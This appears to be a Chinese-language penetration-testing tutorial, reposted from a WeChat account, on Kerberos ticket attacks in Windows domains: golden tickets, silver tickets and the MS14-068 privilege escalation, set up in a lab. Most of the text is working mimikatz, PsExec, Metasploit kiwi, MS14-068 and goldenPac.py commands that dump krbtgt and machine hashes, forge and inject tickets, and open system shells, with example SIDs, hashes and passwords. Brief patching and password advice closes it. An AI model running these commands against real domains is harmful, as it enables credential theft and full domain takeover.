内网渗透之横向移动—票据传递攻击研究

admin 2024年9月28日14:51:52评论15 views字数 5992阅读19分58秒阅读模式

内网渗透之横向移动—票据传递攻击研究

前面讲到了Kerberos协议认证的原理:Kerberos协议认证过程(理论篇) 理解Kerberos协议认证的原理有助于我们理解漏洞的利用原理。

黄金票据(Golden ticket)

黄金票据的出发点是在Client和DC交互这一过程的第一部分之中,AS会对通过验证的Client发送AS_REP,这里面包含了两部分:

第一部分是AS生成的临时密钥Session-key,然后使用Client的NTLM-Hash加密;

第二部分是使用用户Krbtgt的NTLM-Hash加密的Session-key(AS生成的)时间戳以及一些用户信息,也就是TGT

如果我们可以拿到Krbtgt用户的NTLM_Hash,我们就可以伪造TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

然而拿到Krbtgt用户的NTLM_Hash就意味着我们要拿到域控DC的权限,所以黄金票据(Golden ticket)更多情况下是作为后门,如果应为某种特殊的原因失去了对DC的控制权限,但是管理员没有修改Krbtgt用户的密码,那么就可以使用黄金票据重新获得域管理员权限。

使用黄金票据来进行票据传递攻击的先决条件为:

域名

需要伪造的域管理员用户名

域SID

krbtgt的NTLM-Hash

内网渗透之横向移动—票据传递攻击研究

kali's ip:192.168.137.115

win7's ip:192.168.137.198

windows server 2016(DC)'s ip:10.10.10.10

windows server 2012's ip1:10.10.10.11;ip2:192.168.137.115

使用mimikatz

我们通过mimikatz来抓取DC的Krbtgt用户的NTLM_Hash,首先先将mimikatz上传到DC

在上传的过程中会被杀软杀掉,我模拟的环境中DC没有安装额外的杀软,只附带了默认的windows Defender,但是仍然会被杀掉

内网渗透之横向移动—票据传递攻击研究

最后只剩下两个文件,但是依然可以正常使用

内网渗透之横向移动—票据传递攻击研究

privilege::debug
lsadump::lsa /patch //专用于在域控制器上导出用户密码或hash

内网渗透之横向移动—票据传递攻击研究

由此我们可以得到

域SID:S-1-5-21-3960071969-2362883727-1949664287

krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0

再使用mimikatz生成TGT凭证

域名:com

需要伪造的域管理员用户名:administrator

域SID:S-1-5-21-3960071969-2362883727-1949664287

krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0

//kerberos::golden /user:[username] /domain:[domain] /sid:[sid] /krbtgt:[krbtgt's Hash] /ticket:ticket.kirbi
kerberos::golden /user:administrator /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /krbtgt:6e29949b6be5db95085477551f347ea0 /ticket:ticket.kirbi

内网渗透之横向移动—票据传递攻击研究

然后将mimikatz上传到windows server 2012,将凭证注入

#kerberos::ptt <票据文件>
kerberos::ptt ticket.kirbi

内网渗透之横向移动—票据传递攻击研究

可以用一下命令来查看注入的票据

kerberos::tgt

一开始windows server 2012运行命令的情况如下

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

注入票据后运行命令的结果如下

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

联动PsExec

psexec包含在pstools工具包中,pstools的下载地址:https://download.sysinternals.com/files/PSTools.zip

参数解释

-accepteula:默认同意用户协议(即第一次使用询问是否同意用户协议,使用此参数则默认同意不会弹窗)

-s:返回一个system权限的shell,如果不加此参数则返回一个管理员权限(administrator)的shell

在使用Psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后, psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。

远程执行命令

psexec.exe -accepteula \WinSer2016 cmd.exe /c "ipconfig"

内网渗透之横向移动—票据传递攻击研究

反弹新的shell

PsExec64.exe -accepteula \WinSer2016 -s cmd.exe

内网渗透之横向移动—票据传递攻击研究

使用Metasploit

其实原理也是使用msf的mimikatz(kiwi),所以首先要先获得一个meterpreter

内网渗透之横向移动—票据传递攻击研究

然后加载kiwi

内网渗透之横向移动—票据传递攻击研究

kiwi的命令和mimikatz还是有点不一样的

//golden_ticket_create -d [domain] -k [krbtgt's Hash] -s [sid] -u [username] -t [path] golden_ticket_create -d g1ts.com -k 6e29949b6be5db95085477551f347ea0 -s S-1-5-21-3960071969-2362883727-1949664287 -u administrator -t /root/桌面/others/ntds.dit  //查看本地储存的票据 kerberos_ticket_list //将票据注入内存 kerberos_ticket_use /root/桌面/others/ntds.dit

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

白银票据(Silver ticket)

白银票据原理不同于黄金票据,白银票据不需要访问KDC,而是通过已知的授权服务密码生成一张可以访问该服务的TGT,由于不需要使用KDC,所以隐蔽性较强

使用白银票据的先决条件:

域名

域SID

服务账号的NTLM-Hash

要伪造的用户名

域控IP

可利用的服务

由于白银票据同样要使用到服务账号的NTLM-Hash,而这个Hash大概率也是需要拿到DC的权限才可以获得,所以白银票据大部分情况下也是作为后门存在

使用白银票据伪造CIFS服务权限

CIFS:用于windows主机之间进行网络文件共享

首先将mimikatz上传到DC,获得机器账号的哈希值

privilege::debug
sekurlsa::logonpasswords

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

注意,这个NTLM是机器WinSer2016的Hash,并非是用户administrator的Hash

NTLM:6cb7dce4a6c2ad0956bde89dc28b4310

SID:S-1-5-21-3960071969-2362883727-1949664287

注意:SID不取图片后面的-500

然后在windows server 2012生成白银票据

//kerberos::golden /domain:[domain] /sid:[SID] /target:FQDN /rc4:[server's Hash] /service:[service] /user:[username] /ptt
kerberos::golden /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /target:WinSer2016.g1ts.com /rc4:6cb7dce4a6c2ad0956bde89dc28b4310 /service:cifs /user:administrastor /ptt

内网渗透之横向移动—票据传递攻击研究

一开始是无法直接远程访问DC的

内网渗透之横向移动—票据传递攻击研究

使用白银票据后就可以了

内网渗透之横向移动—票据传递攻击研究

如果使用命令

dir \[computer's name]c$

不可以访问,可以尝试输入主机全名,即主机名加域名

dir \WinSer2016.g1ts.comc$

MS14-068

之前的文章降到了PAC,以及PAC的作用,简单来说就是微软为了防止拿到Hash就可以随意的访问任何的服务,于是引入了PAC,在AS_REP中会包含PAC,PAC里面包含了用户的 SID、用户所在的组等一些信息,在最后Client尝试访问Server是,Server会将PAC扔给DC,让DC来判断此Client是否有权限访问Server。

但是在引入PAC的同时也产生了MS14-068这个漏洞该漏洞是位于kdcsvc.dll域控制器的密钥分发中心(KDC)服务中的Windows 漏洞,它允许经过身份验证的用户在其获得的票证TGT中插入任意的PAC 。普通用户可以通过改变了PAC的TGT来伪造票据获得管理员权限。

使用MS14-068的先决条件:

域内任意⽤户 SID

域内任意⽤户密码(经测试只能在 2008及以下的操作系统实现)

利用工具:WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)

利用环境

域控制器为window server 2008及以下(亲测)

首先我们需要域用户的用户名和密码

username:testuser password:admin!@#456

然后再获得域SID,可以使用这条命令

whoami /user

内网渗透之横向移动—票据传递攻击研究

SID:S-1-5-21-3935027624-4034083410-82536497-1105

使用MS14-068.exe

(因为重新搭建了一个域控制器,所以有一些设置和之前不一样)

然后通过利用工具成TGT票据

MS14-068.exe -u [userName@domainName] -p [clearPassword] -s [userSid] -d [domainControlerAddr]
MS14-068.exe -u [email protected] -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60

内网渗透之横向移动—票据传递攻击研究

成功生成名为[email protected]的票据文件,然后我们需要注入此票据文件,在没有注入前是无法远程访问DC的

内网渗透之横向移动—票据传递攻击研究

//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
//查看当前机器凭证
kerberos::list
//将票据注⼊到内存中
kerberos::ptc

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

使用ms14-068.py

下载地址:windows-kernel-exploits/MS14-068/pykek at master · SecWiki/windows-kernel-exploits (github.com)

WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)

//python ms14-068.py -u 域用户名@域名 -s 域用户sid -d 域控ip -p域用户密码
ms14-068.py -u [email protected] -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60

使用GoldenPac.py

这个脚本一直运行错误,所以没办法动手实践了,所以就简单的记录一下使用方法

此脚本包含在impacket包中,为ms14-068和psexec的结合产物,使用起来更加的方便,而且可以直接走代理进入内网

在windows下运行:

//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控 python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!@#[email protected]

在kali上运行:

由于kali默认没有安装kerberos认证功能,说以需要手动安装一个kerberos客户端

apt-get install krb5-user

然后再使用

//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控 python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!@#[email protected]

当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。

使用Metasploit

使用模块

auxiliary/admin/kerberos/ms14_068_kerberos_checksum

设置选项,rhost设置为域控制器地址,user和password为域用户的用户名和密码

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

然后生成的文件会存放在/root/.msf4/loot文件夹下,但是我们无法直接利用,我们需要使用mimikatz进行格式转换为kirbi文件

kerberos::clist 20211012105258_default_10.10.10.10_windows.kerberos_215999.bin /export

可以看得到导出的路径和文件名,然后将其拷贝回kali,待一会使用,然后让目标机器上线msf

内网渗透之横向移动—票据传递攻击研究

内网渗透之横向移动—票据传递攻击研究

然后加载kiwi模块,导入刚才生成的票据

kerberos_ticket_use /root/[email protected]

但是我怎么都导入不进去,在网上找了很多篇文章,发现大部分的文章都是导入不进去或者,没过程的

内网渗透之横向移动—票据传递攻击研究

如果导入成功就可以使用msf另一个模块

exploit/windows/local/current_user_psexecset

设置好session和rhost为域控制器地址就可以进行攻击了

防范

针对Kerberos域用户提权漏洞,有如下防范建议。

1.开启Windows Update功能,进行自动更新。

2.手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁:https://technet.microsoft.com/library/security/ms14-068

3.对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。

4.在服务器上安装反病毒软件,及时更新病毒库。

内网渗透之横向移动—票据传递攻击研究

原文始发于微信公众号(疯猫网络):内网渗透之横向移动—票据传递攻击研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:51:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之横向移动—票据传递攻击研究http://cn-sec.com/archives/607612.html

发表评论

匿名网友 填写信息